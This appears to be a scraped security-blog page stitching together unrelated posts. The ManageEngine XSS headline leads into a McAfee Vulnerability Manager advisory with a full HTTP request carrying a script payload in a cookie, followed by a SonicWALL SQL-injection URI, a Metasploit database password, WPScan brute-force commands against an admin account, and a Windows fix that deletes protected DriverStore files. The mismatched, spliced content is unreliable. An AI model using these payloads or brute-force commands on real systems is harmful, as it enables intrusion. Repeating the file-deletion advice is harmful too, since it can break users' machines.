ManageEngine EventLog Analyzer event/j_security_check j_username Parameter Reflected XSS

ManageEngine EventLog Analyzer event/j_security_check j_username Parameter Reflected XSS

================================================================================================================================================================

ManageEngine EventLog Analyzer 8.6 cross-site scripting (XSS) Vulnerability
================================================================================================================================================================


#Date- 12/12/2013

# code by Asheesh kumar Mani Tripathi

http://www.osvdb.org/show/osvdb/102270
http://www.osvdb.org/show/osvdb/102270



# Credit by Asheesh Anaconda



#Vulnerbility
ManageEngine EventLog Analyzer 8.6 is prone to an cross-site scripting (XSS) Vulnerability because the application fails to properly
sanitize user-supplied input

#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities

McAfee® Vulnerability Manager 7.5 cross-site scripting (XSS) Vulnerability

http://www.securityfocus.com/bid/58401/info

http://www.tenable.com/plugins/index.php?view=single&id=65738
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2013-5094


#Date- 8/3/2013

# code by Asheesh kumar Mani Tripathi



# Credit by Asheesh Anaconda



#Vulnerbility
McAfee® Vulnerability Manager 7.5 is prone to an cross-site scripting (XSS) Vulnerability because the application fails to properly
sanitize user-supplied input

#Impact
A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities


========================================================================================================================

Request
========================================================================================================================


GET /index.exp HTTP/1.1
Cookie: identity=p805oa53c0dab5vpcv1da30me7; cert_cn=%27%22%28%29%26%251%3CScRiPt %3Eprompt%28920847%29%3C%2FScRiPt%3E; remember=remember
Host: 172.28.1.1
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)
Accept: */*

SonicWALL Aventail 'CategoryID' Parameter SQL Injection Vulnerability

SonicWALL Aventail is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

Further research conducted by the vendor indicates this issue may not be a vulnerability affecting the application

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/prodpage.cfm?CFID=&CFTOKEN=&CategoryID=[SQL]

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-5262

Windows 7 - Unable to install any USB devices

Here's the solution for the ones who might have this problem:
This worked for me in Windows 7 Ultimate 64bit!
You must have all administrator privileges!

1- Open Windows Explorer

2- Go to C:/Windows/System32/DriverStore


You will have a couple of folders and files.
You will have *.dat files and other file named: infcache.1

3- Right click every file (dont touch the folders!) and choose properties.

4- go to security tab

5- click Edit

6- choose your account and check the box: full control (see ss)

7- Click ok.

8- Repeat to every file

9- Select all the files (*.dat and infcache.1)

10- Press shift+del

11- Press OK.

12- Now, go to C:Windows/System32/Driver Store/File Repository/

13- Search for folder named usbstor.inf

14- Open it (if you have more than one, choose the most recent)

15- Copy "usbstor.inf" and "usbstor.PNF"

16- Paste those two files to C:/Windows/inf

17- Reboot your pc and voilla! :b

BT5 password for postgresql

root@bt:/opt/framework/config# cat database.yml production: adapter: postgresql database: msf3 username: msf3 password: eccd8310 host: 127.0.0.1 port: 7175 pool: 75 timeout: 5

Change Your Google Talk Status to Away

Do you wanna control your gtalk idle status? If yes, then here is trick to control Idle Status on Google Talk.You can choose always idle to remain idle always, it will show you idle evan when you are chatting. Also you can choose Never idle, It will never show you idle.

Go to system registry editor (regedit.exe)
Go to HKEY_CURRENT_USER\Software\Google\Google Talk\Options
Add a DWORD named "inactive_minutes"

0 means always idle BUT email notifications are disabled.

or

A free program called gAlwaysIdle is looking to solve that problem. It provides an option in the Google Talk right-click menu that will let you always have your status set to away, whether or not your are using your computer:

It has three different modes that you can choose from:

Normal Idle – Uses the default Google Talk settings
Always Idle – You’re always set to idle
Never Idle – Makes sure you are never set to away even when you’re not at your computer

Installing WPScan in BT

WPScan installation.

wget http://wpscan.googlecode.com/files/wpscan-1.0.zip

unzip wpscan-1.0.zip

sudo apt-get install libcurl4-gnutls-dev rubygems1.8 ruby
sudo gem install typhoeus
sudo gem install xml-simple

apt-get install wpscan


cd /pentest/web/wpscan/

EXAMPLES

Do 'non-intrusive' checks...

ruby ./wpscan.rb --url www.example.com

Do wordlist password brute force on enumerated users using 50 threads...

ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --threads 50

Do wordlist password brute force on the 'admin' username only...

ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

Generate a new 'most popular' plugin list, up to 150 pages...

ruby ./wpscan.rb --generate_plugin_list 150

Enumerate instaled plugins...

ruby ./wpscan.rb --url www.example.com --enumerate p